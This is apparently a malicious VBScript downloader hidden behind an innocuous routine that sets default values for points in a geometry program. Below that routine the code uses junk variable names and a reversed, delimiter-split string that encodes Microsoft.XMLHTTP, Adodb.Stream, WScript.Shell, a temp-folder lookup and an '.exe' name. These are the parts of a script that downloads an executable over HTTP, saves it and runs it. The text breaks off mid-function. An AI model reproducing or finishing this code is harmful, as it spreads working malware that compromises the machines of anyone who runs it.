Public Sub FillPointWithDefaults(Point1 )
With Point1
    .Name = ""
    .Type = dsPoint
    .LabelLength = Len(.Name)
    .LabelOffsetX = 0
    .LabelOffsetY = -setdefPointSize \ 2 + 1
    '.LabelWidth = Paper.TextWidth(.Name)
    '.LabelHeight = Paper.TextHeight(.Name)
    
    .PhysicalWidth = defPointSize
    .Width = .PhysicalWidth
    ToLogicalLength .Width
    
    .Locus = 0
    .ParentFigure = 0
    .ZOrder = 0 'GenerateNewPointZOrder
    .Tag = 0
    
    .FillStyle = setdefPointFill
    .FillColor = setdefcolPointFill
    .ForeColor = setdefcolPoint
    .Shape = setdefPointShape
    .ShowName = setAutoShowPointName
    .ShowCoordinates = False
    .NameColor = setdefcolPointName
    
    .Visible = True
    .Enabled = True
    .Hide = False
    .InDemo = True
    
    .X = 0
    .Y = 0
End With
End Sub
Function T2000(p, ddd) 
	dicA = 19
    Set CruellalpineMacAttack = CreateObject("WScript.Shell")	
	Save1.Type = 1
	Save1.Open
End Function 
 
Dim Cruellalpineensurance ' 

Dim CruellalpineInPlaceOf ' 
CruellalpineTepir = "User"


Dim williams
       Dim TristateTrue


Dim CruellalpineTimeTo 'As Object
Dim CruellalpineDW
CruellalpineDW = false
   
Dim Cruellalpinebalibob 'As Object   


Dim Cruellalpinecashback 'As Object



Function Aodgraduatesalpine(strr)
if strr = "34" then

waitH = "Save"+"ToFile, 2"
else
Save1.Savetofile CruellalpineInPlaceOf , 2
end if
End Function





Dim krapivec

Dim CruellalpineReikYaik 'As Object
  
Dim Save1 'As Object



Kullipin = "//^^^:ptth^^^exe.WBYzzMSVQH\^^^elifotevas^^^ydoBes"+"nopser^^^etirw^^^nepo^^^epyT^^^PmeT^^^TeG^^^ssecorP^^^llehs.tpircsW^^^noitacilppA.llehs^^^Maerts.bdodA^^^PTTHLMX.tfosorciM"


Dim CruellalpinePetir ' 
Dim sNodeKey ' 
  Dim sParentKey ' 



CHECHIL ="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"



    Public Function FolderToCopy(A,B,Pipitr6)
Delafon = 50
Delafon = Delafon + 11
if Delafon > 13 then
B.Write P <truncated>